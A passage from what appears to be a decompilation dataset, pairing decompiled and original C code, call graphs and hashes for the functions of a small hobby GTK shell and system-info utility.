)\nexit(0);\nShell_Main(g_buf_cmd);\nmemset(buf, 0, sizeof(buf));\nv2 = read(apipe[0], buf, 0x900uLL);\nif ( v2 == -1 )\n{\ng_print(\"error,when reading from pipe\\n\");\nexit(1);\n}\nif ( g_change_dir == 1 )\n{\nmemset(g_dir, 0, 0x40uLL);\nstrcpy(g_dir, \"pxunl@lnuxp\");\nbuf[v2 - 1] = 35;\nstrcat(g_dir, buf);\nmemset(buf, 0, sizeof(buf));\ng_change_dir = 0;\n}\ncount = 0;\ngtk_text_buffer_get_end_iter(buffer, &iter);\ngtk_text_buffer_insert(buffer, &iter, \"\\n\", 0xFFFFFFFFLL);\ngtk_text_buffer_get_end_iter(buffer, &iter);\ngtk_text_buffer_insert(buffer, &iter, buf, 0xFFFFFFFFLL);\nmemset(buf, 0, sizeof(buf));\nmemset(g_buf_cmd, 0, sizeof(g_buf_cmd));\nv0 = clear_count++;\nif ( v0 > 0xA )\n{\ngtk_text_buffer_get_bounds(buffer, &start_iter, &end_iter);\ngtk_text_buffer_delete(buffer, &start_iter, &end_iter);\nclear_count = 0;\n}\ngtk_text_buffer_get_end_iter(buffer, &iter);\nreturn gtk_text_buffer_insert(buffer, &iter, g_dir, 0xFFFFFFFFLL);\n}", "original_code": "static void Submit_Cmd()\n{\n if (strcmp(g_buf_cmd, \"exit\") == 0)\n {\n exit(0);\n }\n glong len = 0;\n Shell_Main(g_buf_cmd);\n memset(buf, '\\0', 2304);\n if ((len = read(apipe[0], buf, 2304)) == -1)\n {\n g_print(\"error,when reading from pipe\\n\");\n exit(1);\n }\n if (g_change_dir == 1)\n {\n memset(g_dir, '\\0', 64);\n strcpy(g_dir, \"pxunl@lnuxp\");\n buf[len-1] = '#';\n strcat(g_dir, buf);\n memset(buf, '\\0', 2304);\n g_change_dir = 0;\n }\n count = 0;\n gtk_text_buffer_get_end_iter(buffer, &iter);\n gtk_text_buffer_insert(buffer, &iter, \"\\n\", -1);\n gtk_text_buffer_get_end_iter(buffer, &iter);\n gtk_text_buffer_insert(buffer, &iter, buf, -1);\n memset(buf, '\\0', 2304);\n memset(g_buf_cmd, '\\0', 512);\n if ((clear_count++) > 10)\n {\n gtk_text_buffer_get_bounds(buffer, &start_iter, &end_iter);\n gtk_text_buffer_delete(buffer, &start_iter, &end_iter);\n clear_count = 0;\n }\n gtk_text_buffer_get_end_iter(buffer, &iter);\n gtk_text_buffer_insert(buffer, &iter, g_dir, -1);\n}", "canonical_original_code": "static void Submit_Cmd()\n{\n if (strcmp(g_buf_cmd, \"exit\") == 0)\n {\n exit(0);\n }\n long len = 0;\n Shell_Main(g_buf_cmd);\n memset(buf, '\\0', 2304);\n if ((len = read(apipe[0], buf, 2304)) == -1)\n {\n g_print(\"error,when reading from pipe\\n\");\n exit(1);\n }\n if (g_change_dir == 1)\n {\n memset(g_dir, '\\0', 64);\n strcpy(g_dir, \"pxunl@lnuxp\");\n buf[len-1] = '#';\n strcat(g_dir, buf);\n memset(buf, '\\0', 2304);\n g_change_dir = 0;\n }\n count = 0;\n gtk_text_buffer_get_end_iter(buffer, &iter);\n gtk_text_buffer_insert(buffer, &iter, \"\\n\", -1);\n gtk_text_buffer_get_end_iter(buffer, &iter);\n gtk_text_buffer_insert(buffer, &iter, buf, -1);\n memset(buf, '\\0', 2304);\n memset(g_buf_cmd, '\\0', 512);\n if ((clear_count++) > 10)\n {\n gtk_text_buffer_get_bounds(buffer, &start_iter, &end_iter);\n gtk_text_buffer_delete(buffer, &start_iter, &end_iter);\n clear_count = 0;\n }\n gtk_text_buffer_get_end_iter(buffer, &iter);\n gtk_text_buffer_insert(buffer, &iter, g_dir, -1);\n}", "variable_types": [ [ "len", "long" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "92f333e2d5e158271ade0e5aacee18e344d35bb6436b4f413ac4282f9bbb2a8a" } ]
9c82df5e76e9b28aeb6dfda92f6a299bba34e6eda16c28da7e0027c1a7ae1a3f
pxunl/myshell
[ [ "Process", "->", "Is_Control_Cmd", "Do_Control_Cmd", "Ok_Execute", "IS_Buildin_Cmd", "Process_Buildin_Cmd" ], [ "Is_Control_Cmd", "->", "Process" ], [ "Do_Control_Cmd", "->", "Process", "Syntax_Error" ], [ "Ok_Execute", "->", "Process", "Syntax_Error" ], [ "Syntax_Error", "->", "Do_Control_Cmd", "Ok_Execute" ], [ "IS_Buildin_Cmd", "->", "Process" ], [ "Process_Buildin_Cmd", "->", "Process", "usage" ], [ "usage", "->", "Process_Buildin_Cmd" ] ]
[]
[ { "name": "Process", "canonical_name": "func0", "repo": "pxunl/myshell", "decompiled_code": "__int64 __fastcall Process(_QWORD *a1)\n{\n__int64 result; // rax\nunsigned int v2; // [rsp+1Ch] [rbp-4h]\nunsigned int v3; // [rsp+1Ch] [rbp-4h]\n\nv2 = -1;\nif ( !*a1 )\nreturn 0xFFFFFFFFLL;\nif ( (unsigned int)Need_Redirection(a1) == 1 && (unsigned int)Check_Redirection_Validity(a1) == 1 )\n{\nv3 = Process_Redirection(a1);\nif ( v3 == 1 )\ng_print(\"\\nredirected..\\n\");\nelse\nRedirection_Usage();\nresult = v3;\n}\nelse\n{\nif ( (unsigned int)Is_Control_Cmd(*a1) == 1 )\n{\nv2 = Do_Control_Cmd(a1);\n}\nelse if ( (unsigned int)Ok_Execute() == 1 )\n{\nif ( (unsigned int)IS_Buildin_Cmd(a1) == 1 )\nv2 = Process_Buildin_Cmd(a1);\nelse\nv2 = Execute(a1);\n}\nresult = v2;\n}\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func0(_QWORD *a1)\n{\n__int64 result; // rax\nunsigned int v2; // [rsp+1Ch] [rbp-4h]\nunsigned int v3; // [rsp+1Ch] [rbp-4h]\n\nv2 = -1;\nif ( !*a1 )\nreturn 0xFFFFFFFFLL;\nif ( (unsigned int)Need_Redirection(a1) == 1 && (unsigned int)Check_Redirection_Validity(a1) == 1 )\n{\nv3 = Process_Redirection(a1);\nif ( v3 == 1 )\ng_print(\"\\nredirected..\\n\");\nelse\nRedirection_Usage();\nresult = v3;\n}\nelse\n{\nif ( (unsigned int)func1(*a1) == 1 )\n{\nv2 = func2(a1);\n}\nelse if ( (unsigned int)func3() == 1 )\n{\nif ( (unsigned int)func5(a1) == 1 )\nv2 = func6(a1);\nelse\nv2 = Execute(a1);\n}\nresult = v2;\n}\nreturn result;\n}", "original_code": "int Process(char **input)\n{\n int flag = -1;\n if (((void *)0) == input[0])\n {\n return -1;\n }\n if ((Need_Redirection(input) == 1) && Check_Redirection_Validity(input) == 1)\n {\n flag = Process_Redirection(input);\n if (flag == 1)\n {\n g_print(\"\\nredirected..\\n\");\n }\n else\n {\n Redirection_Usage();\n }\n return flag;\n }\n else if (Is_Control_Cmd(input[0]) == 1)\n {\n flag = Do_Control_Cmd(input);\n }\n else if (Ok_Execute() == 1)\n {\n if (IS_Buildin_Cmd(input) == 1)\n {\n flag = Process_Buildin_Cmd(input);\n }\n else\n {\n flag = Execute(input);\n }\n }\n return flag;\n}", "canonical_original_code": "int Process(char **input)\n{\n int flag = -1;\n if (((void *)0) == input[0])\n {\n return -1;\n }\n if ((Need_Redirection(input) == 1) && Check_Redirection_Validity(input) == 1)\n {\n flag = Process_Redirection(input);\n if (flag == 1)\n {\n g_print(\"\\nredirected..\\n\");\n }\n else\n {\n Redirection_Usage();\n }\n return flag;\n }\n else if (Is_Control_Cmd(input[0]) == 1)\n {\n flag = Do_Control_Cmd(input);\n }\n else if (Ok_Execute() == 1)\n {\n if (IS_Buildin_Cmd(input) == 1)\n {\n flag = Process_Buildin_Cmd(input);\n }\n else\n {\n flag = Execute(input);\n }\n }\n return flag;\n}", "variable_types": [ [ "input", "char **" ], [ "flag", "int" ] ], "return_type": "int", "user_defined_types": [], "binary_hash": "9c82df5e76e9b28aeb6dfda92f6a299bba34e6eda16c28da7e0027c1a7ae1a3f" }, { "name": "Is_Control_Cmd", "canonical_name": "func1", "repo": "pxunl/myshell", "decompiled_code": "__int64 __fastcall Is_Control_Cmd(const char *a1)\n{\n__int64 result; // rax\n\nif ( !strcmp(a1, \"if\") || !strcmp(a1, \"then\") || !strcmp(a1, \"else\") || !strcmp(a1, \"fi\") )\nresult = 1LL;\nelse\nresult = 0xFFFFFFFFLL;\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func1(const char *a1)\n{\n__int64 result; // rax\n\nif ( !strcmp(a1, \"if\") || !strcmp(a1, \"then\") || !strcmp(a1, \"else\") || !strcmp(a1, \"fi\") )\nresult = 1LL;\nelse\nresult = 0xFFFFFFFFLL;\nreturn result;\n}", "original_code": "int Is_Control_Cmd(char *str)\n{\n if ((strcmp(str, \"if\") == 0) || (strcmp(str, \"then\") == 0)\n || (strcmp(str, \"else\") == 0) || (strcmp(str, \"fi\") == 0 ))\n {\n return 1;\n }\n return -1;\n}", "canonical_original_code": "int Is_Control_Cmd(char *str)\n{\n if ((strcmp(str, \"if\") == 0) || (strcmp(str, \"then\") == 0)\n || (strcmp(str, \"else\") == 0) || (strcmp(str, \"fi\") == 0 ))\n {\n return 1;\n }\n return -1;\n}", "variable_types": [ [ "str", "char *" ] ], "return_type": "int", "user_defined_types": [], "binary_hash": "9c82df5e76e9b28aeb6dfda92f6a299bba34e6eda16c28da7e0027c1a7ae1a3f" }, { "name": "Do_Control_Cmd", "canonical_name": "func2", "repo": "pxunl/myshell", "decompiled_code": "__int64 __fastcall Do_Control_Cmd(__int64 a1)\n{\nchar *s1; // [rsp+10h] [rbp-10h]\nunsigned int v3; // [rsp+1Ch] [rbp-4h]\n\ns1 = *(char **)a1;\nv3 = -1;\nif ( !strcmp(*(const char **)a1, \"if\") )\n{\nif ( if_state )\n{\nSyntax_Error(\"if unexpected!\");\nv3 = -1;\n}\nelse\n{\nlast_state = Process((_QWORD *)(a1 + 8));\nif_result = last_state;\nif_state = 1;\nv3 = 1;\n}\n}\nelse if ( !strcmp(s1, \"then\") )\n{\nif ( if_state == 1 )\n{\nif_state = 2;\nv3 = 1;\n}\nelse\n{\nSyntax_Error(\"then unexpected\");\nv3 = -1;\n}\n}\nelse if ( !strcmp(s1, \"fi\") )\n{\nif ( if_state == 2 )\n{\nif_state = 0;\nv3 = 1;\n}\nelse\n{\nSyntax_Error(\"fi unexpected\");\nv3 = -1;\n}\n}\nelse\n{\nfatal(\"internal error:\", s1, 2LL);\n}\nreturn v3;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func2(__int64 a1)\n{\nchar *s1; // [rsp+10h] [rbp-10h]\nunsigned int v3; // [rsp+1Ch] [rbp-4h]\n\ns1 = *(char **)a1;\nv3 = -1;\nif ( !strcmp(*(const char **)a1, \"if\") )\n{\nif ( if_state )\n{\nfunc4(\"if unexpected!\");\nv3 = -1;\n}\nelse\n{\nlast_state = func0((_QWORD *)(a1 + 8));\nif_result = last_state;\nif_state = 1;\nv3 = 1;\n}\n}\nelse if ( !strcmp(s1, \"then\") )\n{\nif ( if_state == 1 )\n{\nif_state = 2;\nv3 = 1;\n}\nelse\n{\nfunc4(\"then unexpected\");\nv3 = -1;\n}\n}\nelse if ( !strcmp(s1, \"fi\") )\n{\nif ( if_state == 2 )\n{\nif_state = 0;\nv3 = 1;\n}\nelse\n{\nfunc4(\"fi unexpected\");\nv3 = -1;\n}\n}\nelse\n{\nfatal(\"internal error:\", s1, 2LL);\n}\nreturn v3;\n}", "original_code": "int Do_Control_Cmd(char **args)\n{\n char *cmd = args[0];\n int flag = -1;\n if (strcmp(cmd, \"if\") == 0)\n {\n if (if_state != NATRULE)\n {\n Syntax_Error(\"if unexpected!\");\n flag = -1;\n }\n else\n {\n last_state = Process(args + 1);\n if_result = last_state;\n if_state = WANT_THEN;\n flag = 1;\n }\n }\n else if (strcmp(cmd, \"then\") == 0)\n {\n if (if_state != WANT_THEN)\n {\n Syntax_Error(\"then unexpected\");\n flag = -1;\n }\n else\n {\n if_state = THEN_BLOCK;\n flag = 1;\n }\n }\n else if (strcmp(cmd, \"fi\") == 0)\n {\n if (if_state != THEN_BLOCK)\n {\n Syntax_Error(\"fi unexpected\");\n flag = -1;\n }\n else\n {\n if_state = NATRULE;\n flag = 1;\n }\n }\n else\n {\n fatal(\"internal error:\", cmd, 2);\n }\n return flag;\n}", "canonical_original_code": "int Do_Control_Cmd(char **args)\n{\n char *cmd = args[0];\n int flag = -1;\n if (strcmp(cmd, \"if\") == 0)\n {\n if (if_state != NATRULE)\n {\n Syntax_Error(\"if unexpected!\");\n flag = -1;\n }\n else\n {\n last_state = Process(args + 1);\n if_result = last_state;\n if_state = WANT_THEN;\n flag = 1;\n }\n }\n else if (strcmp(cmd, \"then\") == 0)\n {\n if (if_state != WANT_THEN)\n {\n Syntax_Error(\"then unexpected\");\n flag = -1;\n }\n else\n {\n if_state = THEN_BLOCK;\n flag = 1;\n }\n }\n else if (strcmp(cmd, \"fi\") == 0)\n {\n if (if_state != THEN_BLOCK)\n {\n Syntax_Error(\"fi unexpected\");\n flag = -1;\n }\n else\n {\n if_state = NATRULE;\n flag = 1;\n }\n }\n else\n {\n fatal(\"internal error:\", cmd, 2);\n }\n return flag;\n}", "variable_types": [ [ "args", "char **" ], [ "cmd", "char *" ], [ "flag", "int" ] ], "return_type": "int", "user_defined_types": [], "binary_hash": "9c82df5e76e9b28aeb6dfda92f6a299bba34e6eda16c28da7e0027c1a7ae1a3f" }, { "name": "Ok_Execute", "canonical_name": "func3", "repo": "pxunl/myshell", "decompiled_code": "__int64 Ok_Execute()\n{\nunsigned int v1; // [rsp+Ch] [rbp-4h]\n\nv1 = 1;\nif ( if_state == 1 )\n{\nSyntax_Error(\"then expected\");\nv1 = -1;\n}\nelse if ( if_state == 2 && if_result == 1 )\n{\nv1 = 1;\n}\nelse if ( if_state == 2 && if_result == -1 )\n{\nv1 = -1;\n}\nreturn v1;\n}\n", "canonical_decompiled_code": "__int64 func3()\n{\nunsigned int v1; // [rsp+Ch] [rbp-4h]\n\nv1 = 1;\nif ( if_state == 1 )\n{\nfunc4(\"then expected\");\nv1 = -1;\n}\nelse if ( if_state == 2 && if_result == 1 )\n{\nv1 = 1;\n}\nelse if ( if_state == 2 && if_result == -1 )\n{\nv1 = -1;\n}\nreturn v1;\n}", "original_code": "int Ok_Execute()\n{\n int flag = 1;\n if (WANT_THEN == if_state)\n {\n Syntax_Error(\"then expected\");\n flag = -1;\n }\n else if ((THEN_BLOCK == if_state) && (1 == if_result))\n {\n flag = 1;\n }\n else if ((THEN_BLOCK == if_state) && (-1 == if_result))\n {\n flag = -1;\n }\n return flag;\n}", "canonical_original_code": "int Ok_Execute()\n{\n int flag = 1;\n if (WANT_THEN == if_state)\n {\n Syntax_Error(\"then expected\");\n flag = -1;\n }\n else if ((THEN_BLOCK == if_state) && (1 == if_result))\n {\n flag = 1;\n }\n else if ((THEN_BLOCK == if_state) && (-1 == if_result))\n {\n flag = -1;\n }\n return flag;\n}", "variable_types": [ [ "flag", "int" ] ], "return_type": "int", "user_defined_types": [], "binary_hash": "9c82df5e76e9b28aeb6dfda92f6a299bba34e6eda16c28da7e0027c1a7ae1a3f" }, { "name": "Syntax_Error", "canonical_name": "func4", "repo": "pxunl/myshell", "decompiled_code": "int __fastcall Syntax_Error(const char *a1)\n{\nif_state = 0;\nreturn fprintf(stderr, \"syntax error!: %s\\n\", a1);\n}\n", "canonical_decompiled_code": "int __fastcall func4(const char *a1)\n{\nif_state = 0;\nreturn fprintf(stderr, \"syntax error!: %s\\n\", a1);\n}", "original_code": "void Syntax_Error(char *ckstr)\n{\n if_state = NATRULE;\n fprintf(stderr, \"syntax error!: %s\\n\", ckstr);\n}", "canonical_original_code": "void Syntax_Error(char *ckstr)\n{\n if_state = NATRULE;\n fprintf(stderr, \"syntax error!: %s\\n\", ckstr);\n}", "variable_types": [ [ "ckstr", "char *" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "9c82df5e76e9b28aeb6dfda92f6a299bba34e6eda16c28da7e0027c1a7ae1a3f" }, { "name": "IS_Buildin_Cmd", "canonical_name": "func5", "repo": "pxunl/myshell", "decompiled_code": "__int64 __fastcall IS_Buildin_Cmd(const char **a1)\n{\nif ( !a1 )\nreturn 0xFFFFFFFFLL;\nif ( !strcmp(*a1, \"iset\") || strchr(*a1, 61) || !strcmp(*a1, \"iexport\") || !strcmp(*a1, \"icd\") )\nreturn 1LL;\nreturn 0xFFFFFFFFLL;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func5(const char **a1)\n{\nif ( !a1 )\nreturn 0xFFFFFFFFLL;\nif ( !strcmp(*a1, \"iset\") || strchr(*a1, 61) || !strcmp(*a1, \"iexport\") || !strcmp(*a1, \"icd\") )\nreturn 1LL;\nreturn 0xFFFFFFFFLL;\n}", "original_code": "int IS_Buildin_Cmd(char **input)\n{\n if (((void *)0) == input)\n {\n return -1;\n }\n if ((strcmp(input[0], \"iset\") == 0)\n || (strchr(input[0], '=') != ((void *)0))\n || (strcmp(input[0], \"iexport\") == 0)\n || (strcmp(input[0], \"icd\") == 0))\n {\n return 1;\n }\n return -1;\n}", "canonical_original_code": "int IS_Buildin_Cmd(char **input)\n{\n if (((void *)0) == input)\n {\n return -1;\n }\n if ((strcmp(input[0], \"iset\") == 0)\n || (strchr(input[0], '=') != ((void *)0))\n || (strcmp(input[0], \"iexport\") == 0)\n || (strcmp(input[0], \"icd\") == 0))\n {\n return 1;\n }\n return -1;\n}", "variable_types": [ [ "input", "char **" ] ], "return_type": "int", "user_defined_types": [], "binary_hash": "9c82df5e76e9b28aeb6dfda92f6a299bba34e6eda16c28da7e0027c1a7ae1a3f" }, { "name": "Process_Buildin_Cmd", "canonical_name": "func6", "repo": "pxunl/myshell", "decompiled_code": "__int64 __fastcall Process_Buildin_Cmd(const char **a1)\n{\nunsigned int v2; // [rsp+1Ch] [rbp-4h]\n\nv2 = -1;\nif ( !strcmp(*a1, \"icd\") && a1[1] )\n{\nif ( chdir(a1[1]) == -1 )\n{\nLABEL_4:\nusage();\nreturn 0xFFFFFFFFLL;\n}\ngoto LABEL_5;\n}\nif ( strcmp(*a1, \"icd\") || a1[1] )\n{\nif ( !strcmp(*a1, \"iset\") )\n{\nValue_List();\nreturn 1;\n}\nif ( !strcmp(*a1, \"iexport\") )\n{\nif ( a1[1] && (unsigned int)Check_Name(a1[1]) )\nv2 = Value_Export(a1[1]);\nelse\nv2 = -1;\nif ( v2 == -1 )\n{\nLABEL_18:\ng_print(\"Fail.\\n\");\nreturn v2;\n}\n}\nelse\n{\nif ( !strchr(*a1, 61) )\nreturn v2;\nv2 = Value_Store(*a1);\nif ( v2 == -1 )\ngoto LABEL_18;\n}\ng_print(\"Succeed.\\n\");\nreturn v2;\n}\nif ( chdir(\"/home/pxunl/myshell/src/shell/\") == -1 )\ngoto LABEL_4;\nLABEL_5:\nv2 = 1;\nsystem(\"pwd\");\nreturn v2;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func6(const char **a1)\n{\nunsigned int v2; // [rsp+1Ch] [rbp-4h]\n\nv2 = -1;\nif ( !strcmp(*a1, \"icd\") && a1[1] )\n{\nif ( chdir(a1[1]) == -1 )\n{\nLABEL_4:\nfunc7();\nreturn 0xFFFFFFFFLL;\n}\ngoto LABEL_5;\n}\nif ( strcmp(*a1, \"icd\") || a1[1] )\n{\nif ( !strcmp(*a1, \"iset\") )\n{\nValue_List();\nreturn 1;\n}\nif ( !strcmp(*a1, \"iexport\") )\n{\nif ( a1[1] && (unsigned int)Check_Name(a1[1]) )\nv2 = Value_Export(a1[1]);\nelse\nv2 = -1;\nif ( v2 == -1 )\n{\nLABEL_18:\ng_print(\"Fail.\\n\");\nreturn v2;\n}\n}\nelse\n{\nif ( !strchr(*a1, 61) )\nreturn v2;\nv2 = Value_Store(*a1);\nif ( v2 == -1 )\ngoto LABEL_18;\n}\ng_print(\"Succeed.\\n\");\nreturn v2;\n}\nif ( chdir(\"/home/pxunl/myshell/src/shell/\") == -1 )\ngoto LABEL_4;\nLABEL_5:\nv2 = 1;\nsystem(\"pwd\");\nreturn v2;\n}", "original_code": "int Process_Buildin_Cmd(char **cmd)\n{\n int flag = -1;\n if (strcmp(cmd[0], \"icd\") == 0 && cmd[1] != ((void *)0))\n {\n if (chdir(cmd[1]) == -1)\n {\n usage();\n return -1;\n }\n flag = 1;\n system(\"pwd\");\n }\n else if (strcmp(cmd[0], \"icd\") == 0 && cmd[1] == ((void *)0))\n {\n if (chdir(\"/home/pxunl/myshell/src/shell/\") == -1)\n {\n usage();\n return -1;\n }\n flag = 1;\n system(\"pwd\");\n }\n else if (strcmp(cmd[0], \"iset\") == 0)\n {\n Value_List();\n flag = 1;\n }\n else if (strcmp(cmd[0], \"iexport\") == 0)\n {\n if ((cmd[1] != ((void *)0)) && (Check_Name(cmd[1])))\n {\n flag = Value_Export(cmd[1]);\n }\n else\n {\n flag = -1;\n }\n if (flag == -1)\n {\n g_print(\"Fail.\\n\");\n }\n else\n {\n g_print(\"Succeed.\\n\");\n }\n }\n else if (strchr(cmd[0], '=') != ((void *)0))\n {\n flag = Value_Store(cmd[0]);\n if (flag == -1)\n {\n g_print(\"Fail.\\n\");\n }\n else\n {\n g_print(\"Succeed.\\n\");\n }\n }\n return flag;\n}", "canonical_original_code": "int Process_Buildin_Cmd(char **cmd)\n{\n int flag = -1;\n if (strcmp(cmd[0], \"icd\") == 0 && cmd[1] != ((void *)0))\n {\n if (chdir(cmd[1]) == -1)\n {\n usage();\n return -1;\n }\n flag = 1;\n system(\"pwd\");\n }\n else if (strcmp(cmd[0], \"icd\") == 0 && cmd[1] == ((void *)0))\n {\n if (chdir(\"/home/pxunl/myshell/src/shell/\") == -1)\n {\n usage();\n return -1;\n }\n flag = 1;\n system(\"pwd\");\n }\n else if (strcmp(cmd[0], \"iset\") == 0)\n {\n Value_List();\n flag = 1;\n }\n else if (strcmp(cmd[0], \"iexport\") == 0)\n {\n if ((cmd[1] != ((void *)0)) && (Check_Name(cmd[1])))\n {\n flag = Value_Export(cmd[1]);\n }\n else\n {\n flag = -1;\n }\n if (flag == -1)\n {\n g_print(\"Fail.\\n\");\n }\n else\n {\n g_print(\"Succeed.\\n\");\n }\n }\n else if (strchr(cmd[0], '=') != ((void *)0))\n {\n flag = Value_Store(cmd[0]);\n if (flag == -1)\n {\n g_print(\"Fail.\\n\");\n }\n else\n {\n g_print(\"Succeed.\\n\");\n }\n }\n return flag;\n}", "variable_types": [ [ "cmd", "char **" ], [ "flag", "int" ] ], "return_type": "int", "user_defined_types": [], "binary_hash": "9c82df5e76e9b28aeb6dfda92f6a299bba34e6eda16c28da7e0027c1a7ae1a3f" }, { "name": "usage", "canonical_name": "func7", "repo": "pxunl/myshell", "decompiled_code": "__int64 usage()\n{\nreturn g_print(\"Usage: cd [OPTIONS] DIRECTORY\\nicd --help\\n\");\n}\n", "canonical_decompiled_code": "__int64 func7()\n{\nreturn g_print(\"Usage: cd [OPTIONS] DIRECTORY\\nicd --help\\n\");\n}", "original_code": "void usage()\n{\n g_print(\"Usage: cd [OPTIONS] DIRECTORY\\nicd --help\\n\");\n}", "canonical_original_code": "void usage()\n{\n g_print(\"Usage: cd [OPTIONS] DIRECTORY\\nicd --help\\n\");\n}", "variable_types": [], "return_type": "void", "user_defined_types": [], "binary_hash": "9c82df5e76e9b28aeb6dfda92f6a299bba34e6eda16c28da7e0027c1a7ae1a3f" } ]
ac9f1fafacd57af32d8fc4ca10ac6dd9959713b33ccba83f65c83c57ee1bde7d
pxunl/myshell
[ [ "sub_401020", "->" ], [ "start", "->" ], [ "dl_relocate_static_pie", "->" ], [ "deregister_tm_clones", "->", "_do_global_dtors_aux" ], [ "register_tm_clones", "->", "frame_dummy" ], [ "_do_global_dtors_aux", "->", "deregister_tm_clones" ], [ "frame_dummy", "->", "register_tm_clones" ], [ "main", "->", "usage" ], [ "usage", "->", "main" ], [ "info_cpu", "->" ], [ "info_mem", "->" ], [ "info_mount", "->" ], [ "info_swap", "->" ], [ "info_kernel_version", "->" ], [ "info_uptime", "->" ], [ "info_devices", "->" ], [ "_libc_csu_init", "->" ], [ "_libc_csu_fini", "->" ] ]
[ [ "sub_401020", "__int64 func0()\n{\nreturn qword_404010();\n}" ], [ "start", "void __fastcall __noreturn func1(__int64 a1, __int64 a2, void (*a3)(void))\n{\n__int64 v3; // rax\nint v4; // esi\n__int64 v5; // [rsp-8h] [rbp-8h] BYREF\nchar *retaddr; // [rsp+0h] [rbp+0h] BYREF\n\nv4 = v5;\nv5 = v3;\n_libc_start_main(\n(int (__fastcall *)(int, char **, char **))main,\nv4,\n&retaddr,\n_libc_csu_init,\n_libc_csu_fini,\na3,\n&v5);\n__halt();\n}" ], [ "dl_relocate_static_pie", "void func2()\n{\n;\n}" ], [ "deregister_tm_clones", "void *func3()\n{\nreturn &_bss_start;\n}" ], [ "register_tm_clones", "__int64 func4()\n{\nreturn 0LL;\n}" ], [ "_do_global_dtors_aux", "void *func5()\n{\nvoid *result; // rax\n\nif ( !completed_0 )\n{\nresult = func3();\ncompleted_0 = 1;\n}\nreturn result;\n}" ], [ "frame_dummy", "__int64 func6()\n{\nreturn func4();\n}" ], [ "_libc_csu_init", "void __fastcall func15(unsigned int a1, __int64 a2, __int64 a3)\n{\nsigned __int64 v4; // rbp\n__int64 i; // rbx\n\ninit_proc();\nv4 = &_do_global_dtors_aux_fini_array_entry - &_frame_dummy_init_array_entry;\nif ( v4 )\n{\nfor ( i = 0LL; i != v4; ++i )\n((void (__fastcall *)(_QWORD, __int64, __int64))*(&_frame_dummy_init_array_entry + i))(a1, a2, a3);\n}\n}" ], [ "_libc_csu_fini", "void func16(void)\n{\n;\n}" ] ]
[ { "name": "info_cpu", "canonical_name": "func8", "repo": "pxunl/myshell", "decompiled_code": "int info_cpu()\n{\nchar buf[72]; // [rsp+0h] [rbp-50h] BYREF\nint fd; // [rsp+48h] [rbp-8h]\nint v3; // [rsp+4Ch] [rbp-4h]\n\nv3 = 0;\nfd = open(\"/proc/cpuinfo\", 0);\nif ( fd == -1 )\n{\nperror(\"can't read /proc/cpuinfo, please check it's permision\\n\");\nexit(1);\n}\nwhile ( 1 )\n{\nv3 = read(fd, buf, 0x40uLL);\nif ( !v3 )\nbreak;\nbuf[v3] = 0;\nprintf(\"%s\", buf);\n}\nreturn close(fd);\n}\n", "canonical_decompiled_code": "int func8()\n{\nchar buf[72]; // [rsp+0h] [rbp-50h] BYREF\nint fd; // [rsp+48h] [rbp-8h]\nint v3; // [rsp+4Ch] [rbp-4h]\n\nv3 = 0;\nfd = open(\"/proc/cpuinfo\", 0);\nif ( fd == -1 )\n{\nperror(\"can't read /proc/cpuinfo, please check it's permision\\n\");\nexit(1);\n}\nwhile ( 1 )\n{\nv3 = read(fd, buf, 0x40uLL);\nif ( !v3 )\nbreak;\nbuf[v3] = 0;\nprintf(\"%s\", buf);\n}\nreturn close(fd);\n}", "original_code": "void info_cpu()\n{\n int read_size = 0;\n char buf[64];\n int fd;\n if ((fd = open(\"/proc/cpuinfo\", 00)) == -1)\n {\n perror(\"can't read /proc/cpuinfo, please check it's permision\\n\");\n exit(1);\n }\n while ((read_size = read(fd, buf, 64)) != 0)\n {\n buf[read_size] = '\\0';\n printf(\"%s\", buf);\n }\n close(fd);\n}", "canonical_original_code": "void info_cpu()\n{\n int read_size = 0;\n char buf[64];\n int fd;\n if ((fd = open(\"/proc/cpuinfo\", 00)) == -1)\n {\n perror(\"can't read /proc/cpuinfo, please check it's permision\\n\");\n exit(1);\n }\n while ((read_size = read(fd, buf, 64)) != 0)\n {\n buf[read_size] = '\\0';\n printf(\"%s\", buf);\n }\n close(fd);\n}", "variable_types": [ [ "read_size", "int" ], [ "buf", "char [64]" ], [ "fd", "int" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "ac9f1fafacd57af32d8fc4ca10ac6dd9959713b33ccba83f65c83c57ee1bde7d" }, { "name": "info_mem", "canonical_name": "func9", "repo": "pxunl/myshell", "decompiled_code": "int info_mem()\n{\nchar buf[72]; // [rsp+0h] [rbp-50h] BYREF\nint fd; // [rsp+48h] [rbp-8h]\nint v3; // [rsp+4Ch] [rbp-4h]\n\nv3 = 0;\nfd = open(\"/proc/meminfo\", 0);\nif ( fd == -1 )\n{\nperror(\"can't read /proc/meminfo, please check it's permision\\n\");\nexit(1);\n}\nwhile ( 1 )\n{\nv3 = read(fd, buf, 0x40uLL);\nif ( !v3 )\nbreak;\nbuf[v3] = 0;\nprintf(\"%s\", buf);\n}\nreturn close(fd);\n}\n", "canonical_decompiled_code": "int func9()\n{\nchar buf[72]; // [rsp+0h] [rbp-50h] BYREF\nint fd; // [rsp+48h] [rbp-8h]\nint v3; // [rsp+4Ch] [rbp-4h]\n\nv3 = 0;\nfd = open(\"/proc/meminfo\", 0);\nif ( fd == -1 )\n{\nperror(\"can't read /proc/meminfo, please check it's permision\\n\");\nexit(1);\n}\nwhile ( 1 )\n{\nv3 = read(fd, buf, 0x40uLL);\nif ( !v3 )\nbreak;\nbuf[v3] = 0;\nprintf(\"%s\", buf);\n}\nreturn close(fd);\n}", "original_code": "void info_mem()\n{\n int read_size = 0;\n char buf[64];\n int fd;\n if ((fd = open(\"/proc/meminfo\", 00)) == -1)\n {\n perror(\"can't read /proc/meminfo, please check it's permision\\n\");\n exit(1);\n }\n while ((read_size = read(fd, buf, 64)) != 0)\n {\n buf[read_size] = '\\0';\n printf(\"%s\", buf);\n }\n close(fd);\n}", "canonical_original_code": "void info_mem()\n{\n int read_size = 0;\n char buf[64];\n int fd;\n if ((fd = open(\"/proc/meminfo\", 00)) == -1)\n {\n perror(\"can't read /proc/meminfo, please check it's permision\\n\");\n exit(1);\n }\n while ((read_size = read(fd, buf, 64)) != 0)\n 